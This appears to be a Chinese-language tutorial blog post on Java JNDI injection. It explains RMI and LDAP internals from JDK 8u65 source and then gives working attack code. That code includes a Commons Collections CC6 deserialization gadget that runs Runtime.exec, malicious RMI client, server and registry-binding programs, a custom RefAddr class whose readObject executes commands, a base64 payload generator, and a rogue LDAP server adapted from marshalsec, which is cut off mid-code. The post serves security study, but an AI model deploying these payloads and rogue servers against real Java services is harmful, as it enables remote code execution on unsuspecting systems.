Turker
发布于 2025-08-03 / 25 阅读
0
0

Java安全——JNDI注入:攻击RMI、LDAP

Java安全——JNDI注入:攻击RMI、LDAP

二、Java RMI

2.1 RMI简介

RMI是Java语言中的远程方法调用(Remote Method Invocation)技术,它允许运行在一个JVM中的程序调用另一个JVM中对象的方法。RMI为分布式Java应用程序提供了一种简单而透明的机制,使得远程对象调用就像本地对象调用一样简单。

2.1.1 RMI架构

Java安全-18.png
RMI底层通讯采用了 Stub(运行在客户端)Skeleton(运行在服务端)机制,RMI调用远程方法的大致如下:

  1. RMI客户端在调用远程方法时会先创建 Stub(sun.rmi.registry.RegistryImpl_Stub)
  2. Stub会将 Remote对象传递给 远程引用层(java.rmi.server.RemoteRef)并创建 java.rmi.server.RemoteCall(远程调用)对象。
  3. RemoteCall序列化 RMI服务名称Remote对象。
  4. RMI客户端远程引用层传输 RemoteCall序列化后的请求信息通过 Socket连接的方式传输到 RMI服务端远程引用层
  5. RMI服务端远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给 Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
  6. Skeleton调用 RemoteCall反序列化 RMI客户端传过来的序列化。
  7. Skeleton处理客户端请求:bindlistlookuprebindunbind,如果是 lookup则查找 RMI服务名绑定的接口对象,序列化该对象并通过 RemoteCall传输到客户端。
  8. RMI客户端反序列化服务端结果,获取远程对象的引用。
  9. RMI客户端调用远程方法,RMI服务端反射调用 RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  10. RMI客户端反序列化 RMI远程方法调用结果。

2.1.2 RMI使用

服务端

服务端要实现三样东西:远程接口,远程接口的实现类,RMI服务端。我们来实现一下这些接口:
首先我们定义一个远程接口,它有以下几点要求:

  1. 必须继承 java.rmi.Remote接口,
  2. 所有方法都必须声明抛出 java.rmi.RemoteException 异常:
  3. 参数和返回值都必须是基本类型、可序列化对象或 Remote对象
  4. 方法不能有 finalstaticprivate修饰符
    这里我们实现一个计算器远程接口:
import java.rmi.Remote;  
import java.rmi.RemoteException;  
  
public interface Calculator extends Remote {  
    int add(int a, int b) throws RemoteException;  
}

接下来我们需要创建一个类来实现这个接口,一般来说,它需要继承 UnicastRemoteObject,这是最常用的远程对象基类,提供了远程对象的基本功能。例如继承这个类后,RMI会自动将这个类 export 给远程想要调用它的客户端,同时还提供了一些基础的 equals/hashcode/toString 方法:

import java.rmi.RemoteException;  
import java.rmi.server.UnicastRemoteObject;  
  
public class CalculatorImpl extends UnicastRemoteObject implements Calculator {  
  
    public CalculatorImpl() throws RemoteException {  
        super();  
    }  
  
    @Override  
    public int add(int a, int b) throws RemoteException {  
        System.out.println("服务端正在执行加法运算: " + a + " + " + b);  
        return a + b;  
    }  
}

如果不想继承 UnicastRemoteObject,可以使用其静态方法 exportObject来手动 export对象:

public class CalculatorImpl implements Calculator {  
  
    public CalculatorImpl() throws RemoteException {  
        UnicastRemoteObject.exportObject(this, 0);  
    }  
  
    @Override  
    public int add(int a, int b) throws RemoteException {  
        System.out.println("服务端正在执行加法运算: " + a + " + " + b);  
        return a + b;  
    }  
}

好了,我们现在有了一个可以被远程调用的对象,接下来要如何让它可以被调用呢?Java RMI设计了一个Registry,它本质上是一个map,用来保存Name对应的Remote Object。我们通常使用 LocateRegistry#createRegistry() 方法来创建注册表,LocateRegistry#getRegistry()连接到已存在的注册表:

import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
  
public class CalculatorServer {  
    public static void main(String[] args) throws Exception {  
            CalculatorImpl calculator = new CalculatorImpl();  
            Registry registry = LocateRegistry.createRegistry(1099);  
            registry.bind("Calculator", calculator);  
            System.out.println("Calculator service started successfully");  
    }  
}
客户端
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
  
public class CalculatorClient {  
    public static void main(String[] args) throws Exception {  
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);  
            Calculator calculator = (Calculator) registry.lookup("Calculator");  
  
            int result = calculator.add(5, 3);  
            System.out.println("Result: " + result);  
    }  
}

得到的结果是:
服务端:

Calculator service started successfully
Computing: 5 + 3 = 8

客户端:

Result: 8

2.1.3 RMI特性

动态类加载

如果客户端在调用时,传递了一个可序列化对象,这个对象在服务端不存在,则在服务端会抛出 ClassNotFound 的异常。但是 RMI 是支持动态类加载的,如果我们设置了 java.rmi.server.codebase,则服务端会尝试从其中的地址获取 .class字节码并加载,也就是说有一个反序列化过程。可以使用 System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8080/"); 进行设置,或使用启动参数 -Djava.rmi.server.codebase="http://127.0.0.1:8080/" 进行指定。

安全策略

如果我们没有一个安全管理器的话,RMI是不会动态加载任何类的,通常我们会这样起一个安全管理器:

if (System.getSecurityManager() == null) {  
    System.setSecurityManager(new SecurityManager());  
}

同时我们会提供一个策略文件,其中可以进行对主机权限的配置,为方便演示,我们来一个全部权限:

grant {
    permission java.security.AllPermission;
};

2.2 源码分析

源码来自8u65,对于源码分析部分,依旧建议利用大模型来帮助理解。

2.2.1 服务注册

远程对象创建

首先我们看一下 UnicastRemoteObject的内容。
java.rmi.server.UnicastRemoteObject#exportObject

public static Remote exportObject(Remote obj, int port)  
    throws RemoteException  
{  
    return exportObject(obj, new UnicastServerRef(port));  
}

private static Remote exportObject(Remote obj, UnicastServerRef sref)  
    throws RemoteException  
{  
    // if obj extends UnicastRemoteObject, set its ref.  
    if (obj instanceof UnicastRemoteObject) {  
        ((UnicastRemoteObject) obj).ref = sref;  
    }  
    return sref.exportObject(obj, null, false);  
}

它创建了一个 UnicastServerRef对象,其相当于远程对象在服务端的“代表”,包含了所有与网络通信相关的逻辑。
sun.rmi.server.UnicastServerRef#exportObject

public Remote exportObject(Remote impl, Object data,  
                           boolean permanent)  
    throws RemoteException  
{  
    Class<?> implClass = impl.getClass();  
    Remote stub;  
  
    try {  
        stub = Util.createProxy(implClass, getClientRef(), forceStubUse);  
    } catch (IllegalArgumentException e) {  
        throw new ExportException(  
            "remote object implements illegal remote interface", e);  
    }  
    if (stub instanceof RemoteStub) {  
        setSkeleton(impl);  
    }  
  
    Target target =  
        new Target(impl, this, stub, ref.getObjID(), permanent);  
    ref.exportObject(target);  
    hashToMethod_Map = hashToMethod_Maps.get(implClass);  
    return stub;  
}

这里干了两件事情,第一个是利用动态代理生成了一个Stub对象,第二个是创建一个 Target对象,并调用 LiveRef#exportObject方法,进行网络层和服务注册。
对于第一步:
sun.rmi.server.Util#createProxy

public static Remote createProxy(Class<?> implClass,  
                                 RemoteRef clientRef,  
                                 boolean forceStubUse)  
    throws StubNotFoundException  
{  
    Class<?> remoteClass;  
  
    try {  
        remoteClass = getRemoteClass(implClass);  
    } catch (ClassNotFoundException ex ) {  
        throw new StubNotFoundException(  
            "object does not implement a remote interface: " +  
            implClass.getName());  
    }  
  
    if (forceStubUse ||  
        !(ignoreStubClasses || !stubClassExists(remoteClass)))  
    {  
        return createStub(remoteClass, clientRef);  
    }  
  
    final ClassLoader loader = implClass.getClassLoader();  
    final Class<?>[] interfaces = getRemoteInterfaces(implClass);  
    final InvocationHandler handler =  
        new RemoteObjectInvocationHandler(clientRef);  
  
    /* REMIND: private remote interfaces? */  
  
    try {  
        return AccessController.doPrivileged(new PrivilegedAction<Remote>() {  
            public Remote run() {  
                return (Remote) Proxy.newProxyInstance(loader,  
                                                       interfaces,  
                                                       handler);  
            }});  
    } catch (IllegalArgumentException e) {  
        throw new StubNotFoundException("unable to create proxy", e);  
    }  
}

这里的三个参数分别是:

  • implClass: 告诉代理要实现哪些接口。
  • getClientRef()getClientRef 会返回一个 RemoteRef 对象(例如 UnicastRef),这个引用被嵌入到Stub内部。RemoteRef 包含了连接到服务端的必要信息,如 IP 地址、端口号和对象 ID。Stub的所有网络通信都委托给这个 RemoteRef 来完成。
  • forceStubUse: 一个用于兼容旧版 RMI 的标志,通常为 false。
    对于第二步:
    sun.rmi.transport.LiveRef#exportObject
public void exportObject(Target target) throws RemoteException {  
    ep.exportObject(target);  
}

sun.rmi.transport.tcp.TCPEndpoint#exportObject

public void exportObject(Target target) throws RemoteException {  
    transport.exportObject(target);  
}

sun.rmi.transport.tcp.TCPTransport#exportObject

public void exportObject(Target target) throws RemoteException {
	/*
	 * Ensure that a server socket is listening, and count this
	 * export while synchronized to prevent the server socket from
	 * being closed due to concurrent unexports.
	 */
	synchronized (this) {
		listen();
		exportCount++;
	}

	/*
	 * Try to add the Target to the exported object table; keep
	 * counting this export (to keep server socket open) only if
	 * that succeeds.
	 */
	boolean ok = false;
	try {
		super.exportObject(target);
		ok = true;
	} finally {
		if (!ok) {
			synchronized (this) {
				decrementExportCount();
			}
		}
	}
}

这里启动了网络监听,等待并接受客户端连接。
sun.rmi.transport.Transport#exportObject

public void exportObject(Target target) throws RemoteException {  
    target.setExportedTransport(this);  
    ObjectTable.putTarget(target);  
}

这里将 target 对象添加到一个全局的静态哈希表 ObjectTable 中,使用 ObjID 作为键。这样,当一个网络请求携带着特定的 ObjID 到达服务端时,RMI 运行时就能通过查询 ObjectTable 快速找到对应的 Target,并进而找到 impl 实现对象和 UnicastServerRef 分发器。

注册中心创建

我们通常使用 LocateRegistry.createRegistry(1099) 来创建注册中心,那么这个过程又发生了什么呢?
java.rmi.registry.LocateRegistry#createRegistry(int)

public static Registry createRegistry(int port) throws RemoteException {  
    return new RegistryImpl(port);  
}

sun.rmi.registry.RegistryImpl#RegistryImpl(int)

public RegistryImpl(int port)  
    throws RemoteException  
{  
    if (port == Registry.REGISTRY_PORT && System.getSecurityManager() != null) {  
        // grant permission for default port only.  
        try {  
            AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {  
                public Void run() throws RemoteException {  
                    LiveRef lref = new LiveRef(id, port);  
                    setup(new UnicastServerRef(lref));  
                    return null;  
                }  
            }, null, new SocketPermission("localhost:"+port, "listen,accept"));  
        } catch (PrivilegedActionException pae) {  
            throw (RemoteException)pae.getException();  
        }  
    } else {  
        LiveRef lref = new LiveRef(id, port);  
        setup(new UnicastServerRef(lref));  
    }  
}

首先检查两个条件:是否使用了默认的注册表端口(1099),以及当前 JVM 是否启动了安全管理器(SecurityManager),如果存在安全管理器,代码必须通过 AccessController.doPrivileged 明确请求 SocketPermission,以获得网络连接的权限。同时他也会创建 LiveRef实例,并调用 setup方法。
sun.rmi.registry.RegistryImpl#setup

private void setup(UnicastServerRef uref)  
    throws RemoteException  
{  
    /* Server ref must be created and assigned before remote  
     * object 'this' can be exported.     */    ref = uref;  
    uref.exportObject(this, null, true);  
}

这里是流程的最后一步,调用 UnicastServerRef 的 exportObject 方法,将 RegistryImpl 对象自身发布为一个远程服务。其 ObjID固定为0,2

服务注册

说到底也就是把Remote对象和其名称String放在一个名为 bindings的Hashtable里
sun.rmi.registry.RegistryImpl#bind

public void bind(String name, Remote obj)  
    throws RemoteException, AlreadyBoundException, AccessException  
{  
    checkAccess("Registry.bind");  
    synchronized (bindings) {  
        Remote curr = bindings.get(name);  
        if (curr != null)  
            throw new AlreadyBoundException(name);  
        bindings.put(name, obj);  
    }  
}

2.2.2 服务发现

下一步,我们就要执行 registry.bind("Calculator", calculator);,这里发生了什么?
sun.rmi.registry.RegistryImpl#bind

public void bind(String name, Remote obj)  
    throws RemoteException, AlreadyBoundException, AccessException  
{  
    checkAccess("Registry.bind");  
    synchronized (bindings) {  
        Remote curr = bindings.get(name);  
        if (curr != null)  
            throw new AlreadyBoundException(name);  
        bindings.put(name, obj);  
    }  
}

首先,这里进行了权限检查,即只有运行在注册中心所在主机的本地客户端才有权限调用 bindrebind, 和 unbind 方法。 这是一个安全措施,防止远程的任意客户端随意修改注册中心的内容。然后 检查 "Calculator"这个名字是否已经存在,如果名称未被使用,就将字符串名称 "Calculator"作为键,将远程对象 calculator 作为值,存入 bindings 这个 Hashtable 中。至此,服务端的 CalculatorImpl 实例就已经被成功注册到 1099 端口的 RMI 注册中心了,并以 "Calculator" 作为它的公开服务名称。

2.2.3 服务调用

sun.rmi.registry.RegistryImpl#lookup

public Remote lookup(String name)  
    throws RemoteException, NotBoundException  
{  
    synchronized (bindings) {  
        Remote obj = bindings.get(name);  
        if (obj == null)  
            throw new NotBoundException(name);  
        return obj;  
    }  
}

2.3 攻击RMI

2.3.1 攻击Server端

恶意服务参数

在 Client 端获取到 Server 端创建的 Stub 后,会在本地调用这个 Stub 并传递参数,Stub 会序列化这个参数,并传递给 Server 端,Server 端会反序列化 Client 端传入的参数并进行调用,如果这个参数是 Object 类型,Client 端可以传给 Server 端任意的类,直接造成反序列化漏洞。
举个例子吧,我们的 VulnService是这样的:

import java.rmi.Remote;  
import java.rmi.RemoteException;  
  
public interface VulnService extends Remote {  
    public String vulnMethod(Object name) throws RemoteException;  
}
import java.rmi.RemoteException;  
import java.rmi.server.UnicastRemoteObject;  
  
public class VulnServiceImpl extends UnicastRemoteObject implements VulnService {  
    public VulnServiceImpl() throws RemoteException {  
        super();  
    }  
  
    @Override  
    public String vulnMethod(Object name) throws RemoteException {  
        if (name == null) {  
            throw new IllegalArgumentException("Name cannot be null");  
        }  
        return "Hello, " + name.toString();  
    }  
}

服务端也是一样:

import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
  
public class VulnServer {  
    public static void main(String[] args) throws Exception {  
        VulnServiceImpl vulnService = new VulnServiceImpl();  
        Registry registry = LocateRegistry.createRegistry(1099);  
        registry.rebind("VulnService", vulnService);  
        System.out.println("VulnService is running...");  
    }  
}

这里就出现了一个反序列化点,我们拿一个CC6来试试:

public class EvilClient {  
  
    static Object evilObject;  
  
    public static void main(String[] args) throws Exception {  
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);  
        VulnService vulnService = (VulnService) registry.lookup("VulnService");  
  
        evilObject = EvilClass.createEvilObject();  
  
        vulnService.vulnMethod(evilObject);  
    }  
}
public class EvilClass {  
    public static Object createEvilObject() throws  Exception{  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod",  
                        new Class[]{String.class, Class[].class},  
                        new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke",  
                        new Class[]{Object.class, Object[].class},  
                        new Object[]{null, null}),  
                new InvokerTransformer("exec",  
                        new Class[]{String.class},  
                        new Object[]{"calc.exe"})  
        };  
        Transformer[] fakeTransformers = new Transformer[]{  
                new ConstantTransformer("King Burger")  
        };  
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);  
  
        HashMap<Object, Object> originalMap = new HashMap<>();  
        originalMap.put("value","Burger King");  
        Map lazyMap = LazyMap.decorate(originalMap, chainedTransformer);  
  
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"Burger King");  
        Object evilObject = new HashMap();  
        ((HashMap) evilObject).put(tiedMapEntry,"Burger King");  
        originalMap.remove("Burger King");  
  
        Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");  
        Field field = clazz.getDeclaredField("iTransformers");  
        field.setAccessible(true);  
        field.set(chainedTransformer, transformers);  
  
        return evilObject;  
    }   
}

这里就是Java原生反序列化漏洞的一个利用,甚至不会真的执行到 vulnMethod方法。那问题来了,如果参数不是 Object类型,能不能进行反序列化呢?
答案是肯定的,我们看下面这个服务:

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface VulnService extends Remote {
    public String vulnMethod(String name) throws RemoteException;
}

这里我们把参数改成了String,原来的PoC就不能用了,会提示我们找不到对应的远程对象。查找远程对象的方法我们在源码阅读部分里也提到了,实际上是一个在Map里查找hash的过程,那我们可不可以伪造这个hash,同时传递一个恶意Object呢?
答案也是肯定的,实际上这里有四种方法:

  • 通过网络代理,在流量层修改数据
  • 修改 java.rmi 包的代码
  • 利用Javassist之类的工具进行字节码修改
  • 使用 debugger,在序列化之前把对象替换为恶意的
    这里的hook点在 RemoteObjectInvocationHandler 的 invokeRemoteMethod 方法。我们从最简单的 debugger方法开始,在上述方法下出断点,注意把 evilObject改为一个静态字段:![[Java安全-19.png]]
public class EvilClient {  
  
    static Object evilObject;  
  
    public static void main(String[] args) throws Exception {  
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);  
        VulnService vulnService = (VulnService) registry.lookup("VulnService");  
  
        evilObject = EvilClass.createEvilObject();  
  
        String dummyString = "Dummy String";  
        vulnService.vulnMethod(dummyString);  
    }  
}

可以看一下反序列化点:
sun.rmi.server.UnicastRef#unmarshalValue

protected static Object unmarshalValue(Class<?> type, ObjectInput in)  
    throws IOException, ClassNotFoundException  
{  
    if (type.isPrimitive()) {  
        if (type == int.class) {  
            return Integer.valueOf(in.readInt());  
        } else if (type == boolean.class) {  
            return Boolean.valueOf(in.readBoolean());  
        } else if (type == byte.class) {  
            return Byte.valueOf(in.readByte());  
        } else if (type == char.class) {  
            return Character.valueOf(in.readChar());  
        } else if (type == short.class) {  
            return Short.valueOf(in.readShort());  
        } else if (type == long.class) {  
            return Long.valueOf(in.readLong());  
        } else if (type == float.class) {  
            return Float.valueOf(in.readFloat());  
        } else if (type == double.class) {  
            return Double.valueOf(in.readDouble());  
        } else {  
            throw new Error("Unrecognized primitive type: " + type);  
        }  
    } else {  
        return in.readObject();  
    }  
}

可以看到,除了一些基础的数据类型,其他的都会被 readObject反序列化,甚至包括了String。

动态类加载

前面也提到过,RMI拥有一个动态类加载机制,当本地 ClassPath 中无法找到相应的类时,会在指定的 codebase 里加载 class。这个特性在 6u45/7u21 之前都是默认开启的。

2.3.2 攻击Register端

回顾一下,Register端有一个操作是将Server端绑定的动态代理类反序列化后保存在 RegistryImplbindings 中,那么如果我们是一个恶意的Server端,就可以实现对Register端的攻击。注意这里传进去的类需要同时实现Map和Remote接口,这里使用一个动态代理实现。

public class EvilServer {  
    public static void main(String[] args) throws Exception {  
        Object payload = EvilClass.createEvilObject();  
  
        Object remotePayload = Proxy.newProxyInstance(  
                EvilServer.class.getClassLoader(),  
                new Class[]{Map.class, Remote.class},  
                (InvocationHandler & Serializable) (proxy, method, args1) -> {  
                    if (method.getName().equals("toString")) {  
                        return payload.toString();  
                    }  
                    return null;  
                }  
        );  
  
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);  
  
        registry.bind("pwned", (Remote) remotePayload);  
    }  
}

2.3.3 攻击Client端

实际上对Client的攻击跟上面几种比较相似,且实战中很少遇到,这里简单介绍一下。

package org.burger;  
  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
import java.rmi.Remote;  
import java.rmi.RemoteException;  
  
interface evilMethod extends Remote {  
    Object vulnMethod() throws RemoteException;  
}  
  
public class VulnClient {  
    public static void main(String[] args) throws Exception {  
  
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);  
  
        evilMethod service = (evilMethod) registry.lookup("evilMethod");  
  
        Object result = service.vulnMethod();  
    }  
}
恶意Server Stub

同攻击Registry端。只需要lookup那个Server端注册在 Registry端的恶意代理对象。

恶意服务返回值

同攻击Server端的恶意服务参数,这里恶意返回值也会进入一个反序列化过程。

public class EvilServerForClient extends UnicastRemoteObject implements EvilMethod, Serializable  {  
  
    public EvilServerForClient() throws RemoteException {  
        super();  
    }  
  
    @Override  
    public Object vulnObject() throws Exception {  
        return EvilClass.createEvilObject();  
    }  
  
    public static void main(String[] args) throws Exception {  
        EvilMethod service = new EvilServerForClient();  
        Registry registry = LocateRegistry.createRegistry(1099);  
        registry.bind("EvilMethod", service);  
  
    }  
}
interface EvilMethod extends Remote {  
    Object vulnObject() throws Exception;  
}  
  
public class VulnClient {  
    public static void main(String[] args) throws Exception {  
  
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);  
  
        EvilMethod service = (EvilMethod) registry.lookup("EvilMethod");  
  
        Object result = service.vulnObject();  
    }  
}
动态类加载

同攻击Server端。

三、Java LDAP

实际上,利用LDAP远程加载一个恶意类的方式和RMI差不多,这里我们主要介绍如何利用LDAP直接返回一个对象的序列化数据并触发本地的反序列化链。

3.1 源码分析

不多说了,直接上源码。我们直接看一下获得远程LDAP Server的Entry之后,Client这边是怎么做处理的。源码来自8u65,对于源码分析部分,依旧建议利用大模型来帮助理解。
com.sun.jndi.ldap.Obj#decodeObject

static Object decodeObject(Attributes attrs)  
    throws NamingException {  
  
    Attribute attr;  
  
    // Get codebase, which is used in all 3 cases.  
    String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));  
    try {  
        if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {  
            ClassLoader cl = helper.getURLClassLoader(codebases);  
            return deserializeObject((byte[])attr.get(), cl);  
        } else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {  
            // For backward compatibility only  
            return decodeRmiObject(  
                (String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),  
                (String)attr.get(), codebases);  
        }  
  
        attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);  
        if (attr != null &&  
            (attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||  
                attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {  
            return decodeReference(attrs, codebases);  
        }  
        return null;  
    } catch (IOException e) {  
        NamingException ne = new NamingException();  
        ne.setRootCause(e);  
        throw ne;  
    }  
}

可以注意到,这里存在一个判断,如果返回的属性中 javaSerializedData不为空,那就执行 decodeReference方法,这个方法没有什么特点,就是调用了一个 readObject进行反序列化。
示例Entry:

Entry e = new Entry(baseDN);  
  
e.addAttribute("javaSerializedData", this.payload);  
e.addAttribute("objectClass", "javaNamingReference");  
e.addAttribute("javaClassName", "foo"); // 占位符

实际上,还有一个点也可以触发反序列化链:
com.sun.jndi.ldap.Obj#decodeReference

private static Reference decodeReference(Attributes attrs,  
    String[] codebases) throws NamingException, IOException {  
  
    Attribute attr;  
    String className;  
    String factory = null;  
  
    if ((attr = attrs.get(JAVA_ATTRIBUTES[CLASSNAME])) != null) {  
        className = (String)attr.get();  
    } else {  
        throw new InvalidAttributesException(JAVA_ATTRIBUTES[CLASSNAME] +  
                    " attribute is required");  
    }  
  
    if ((attr = attrs.get(JAVA_ATTRIBUTES[FACTORY])) != null) {  
        factory = (String)attr.get();  
    }  
  
    Reference ref = new Reference(className, factory,  
        (codebases != null? codebases[0] : null));  
  
    /*  
     * string encoding of a RefAddr is either:     *     *      #posn#<type>#<address>     * or     *      #posn#<type>##<base64-encoded address>     */    if ((attr = attrs.get(JAVA_ATTRIBUTES[REF_ADDR])) != null) {  
  
        String val, posnStr, type;  
        char separator;  
        int start, sep, posn;  
        BASE64Decoder decoder = null;  
  
        ClassLoader cl = helper.getURLClassLoader(codebases);  
  
        /*  
         * Temporary Vector for decoded RefAddr addresses - used to ensure         * unordered addresses are correctly re-ordered.         */        Vector<RefAddr> refAddrList = new Vector<>();  
        refAddrList.setSize(attr.size());  
  
        for (NamingEnumeration<?> vals = attr.getAll(); vals.hasMore(); ) {  
  
            val = (String)vals.next();  
  
            if (val.length() == 0) {  
                throw new InvalidAttributeValueException(  
                    "malformed " + JAVA_ATTRIBUTES[REF_ADDR] + " attribute - "+  
                    "empty attribute value");  
            }  
            // first character denotes encoding separator  
            separator = val.charAt(0);  
            start = 1;  // skip over separator  
  
            // extract position within Reference            if ((sep = val.indexOf(separator, start)) < 0) {  
                throw new InvalidAttributeValueException(  
                    "malformed " + JAVA_ATTRIBUTES[REF_ADDR] + " attribute - " +  
                    "separator '" + separator + "'" + "not found");  
            }  
            if ((posnStr = val.substring(start, sep)) == null) {  
                throw new InvalidAttributeValueException(  
                    "malformed " + JAVA_ATTRIBUTES[REF_ADDR] + " attribute - " +  
                    "empty RefAddr position");  
            }  
            try {  
                posn = Integer.parseInt(posnStr);  
            } catch (NumberFormatException nfe) {  
                throw new InvalidAttributeValueException(  
                    "malformed " + JAVA_ATTRIBUTES[REF_ADDR] + " attribute - " +  
                    "RefAddr position not an integer");  
            }  
            start = sep + 1; // skip over position and trailing separator  
  
            // extract type            if ((sep = val.indexOf(separator, start)) < 0) {  
                throw new InvalidAttributeValueException(  
                    "malformed " + JAVA_ATTRIBUTES[REF_ADDR] + " attribute - " +  
                    "RefAddr type not found");  
            }  
            if ((type = val.substring(start, sep)) == null) {  
                throw new InvalidAttributeValueException(  
                    "malformed " + JAVA_ATTRIBUTES[REF_ADDR] + " attribute - " +  
                    "empty RefAddr type");  
            }  
            start = sep + 1; // skip over type and trailing separator  
  
            // extract content            if (start == val.length()) {  
                // Empty content  
                refAddrList.setElementAt(new StringRefAddr(type, null), posn);  
            } else if (val.charAt(start) == separator) {  
                // Double separators indicate a non-StringRefAddr  
                // Content is a Base64-encoded serialized RefAddr  
                ++start;  // skip over consecutive separator  
                // %%% RL: exception if empty after double separator  
                if (decoder == null)  
                    decoder = new BASE64Decoder();  
  
                RefAddr ra = (RefAddr)  
                    deserializeObject(  
                        decoder.decodeBuffer(val.substring(start)),  
                        cl);  
  
                refAddrList.setElementAt(ra, posn);  
            } else {  
                // Single separator indicates a StringRefAddr  
                refAddrList.setElementAt(new StringRefAddr(type,  
                    val.substring(start)), posn);  
            }  
        }  
  
        // Copy to real reference  
        for (int i = 0; i < refAddrList.size(); i++) {  
            ref.add(refAddrList.elementAt(i));  
        }  
    }  
  
    return (ref);  
}

这个方法比较长,总结一下,对于 javaReferenceAddress的要求是这样的:[分隔符][地址位置][分隔符][地址类型][分隔符][分隔符][Base64编码的序列化对象],其中:

  • 分隔符:字符串的第一个字符,它将作为后续所有部分的分隔符,例如 #
  • 地址位置:一个数字,表示这个地址在地址列表中的索引。通常从0开始。
  • 地址类型: 一个描述地址类型的字符串。对于我们的目的,这个字符串本身不重要,但必须存在。我们可以叫它 BinaryRefAddr
  • 最后连续的两个分隔符告诉 decodeReference 方法,后面的内容不是一个普通字符串,而是一个需要Base64解码并反序列化的对象。
    这里还有一个问题,decodeReference 方法在反序列化后,会尝试将结果转换成 RefAddr 类型,也就是说我们不能直接使用类似ysoserial 生成的那些标准gadget,而是需要自定义一个类,它继承自 javax.naming.RefAddr,并且重写了 readObject 方法来执行恶意代码。就比如:
import javax.naming.StringRefAddr;
import java.io.IOException;
import java.io.ObjectInputStream;

public class MaliciousRefAddr extends StringRefAddr {
    private String command;

    public MaliciousRefAddr(String addrType, String addr, String cmd) {
        super(addrType, addr);
        this.command = cmd;
    }
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec(this.command);
    }
}
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class GeneratePayload {
    public static void main(String[] args) throws Exception {
        String commandToExecute = "calc.exe";

        MaliciousRefAddr maliciousObject = new MaliciousRefAddr("BinaryRefAddr", "dummy", commandToExecute);
    
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(maliciousObject);
        oos.flush();
        byte[] serializedBytes = baos.toByteArray();
        oos.close();

        String base64Payload = Base64.getEncoder().encodeToString(serializedBytes);
        System.out.println(base64Payload);
    }
}

示例Entry:

Entry e = new Entry(baseDN);  
  
e.addAttribute("javaClassName", "foo"); e.addAttribute("javaReferenceAddress","#0#BinaryRefAddr##"+new BASE64Encoder().encode(serialized)); 
e.addAttribute("objectClass", "javaNamingReference");

3.2 攻击LDAP

LDAP Server改自marshalsec的LDAPRefServer:

package exp;  
  
import com.unboundid.ldap.listener.InMemoryDirectoryServer;  
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;  
import com.unboundid.ldap.listener.InMemoryListenerConfig;  
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;  
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;  
import com.unboundid.ldap.sdk.Entry;  
import com.unboundid.ldap.sdk.LDAPResult;  
import com.unboundid.ldap.sdk.ResultCode;  
  
import javax.net.ServerSocketFactory;  
import javax.net.SocketFactory;  
import javax.net.ssl.SSLSocketFactory;  
import java.net.InetAddress;  
import java.util.Base64;  
  
public class LDAPServer {  
  
    private static final int LDAP_PORT = 1389;  
  
    public static void main(String[] args) throws Exception {  
        if (args.length == 0) {  
            System.err.println("Usage: java LDAPServer <base64Payload>");  
            System.err.println("Example: java LDAPServer yv66vgAAADQA...");  
            System.exit(1);  
        }  
  
        String base64Payload = args[0];  
  
        byte[] payloadBytes = Base64.getDecoder().decode(base64Payload);  
        System.out.println("[+] Decoded Base64 payload (" + payloadBytes.length + " bytes)");  
  
  
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");  
        config.setListenerConfigs(new InMemoryListenerConfig(  
                "listen",  
                InetAddress.getByName("0.0.0.0"),  
                LDAP_PORT,  
                ServerSocketFactory.getDefault(),  
                SocketFactory.getDefault(),  
                (SSLSocketFactory) SSLSocketFactory.getDefault()));  
  
        config.addInMemoryOperationInterceptor(new PayloadInterceptor(payloadBytes));  
  
        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);  
        System.out.println("[+] LDAP server listening on 0.0.0.0:" + LDAP_PORT);  
        System.out.println("[+] Ready to serve the payload to any connecting client.");  
        ds.startListening();  
    }  
  
    private static class PayloadInterceptor extends InMemoryOperationInterceptor {  
  
        private final byte[] payload;  
  
        public PayloadInterceptor(byte[] payload) {  
            this.payload = payload;  
        }  
  
        @Override  
        public void processSearchResult(InMemoryInterceptedSearchResult result) {  
            String baseDN = result.getRequest().getBaseDN();  
            System.out.println("[+] Received LDAP query for: " + baseDN);  
            System.out.println("[+] Responding with the pre-loaded payload...");  
  
            try {  
                Entry e = new Entry(baseDN);  
  
                e.addAttribute("javaSerializedData", this.payload);  
                e.addAttribute("objectClass", "javaNamingReference");  
                e.addAttribute("javaClassName", "foo"); // 占位符  
  
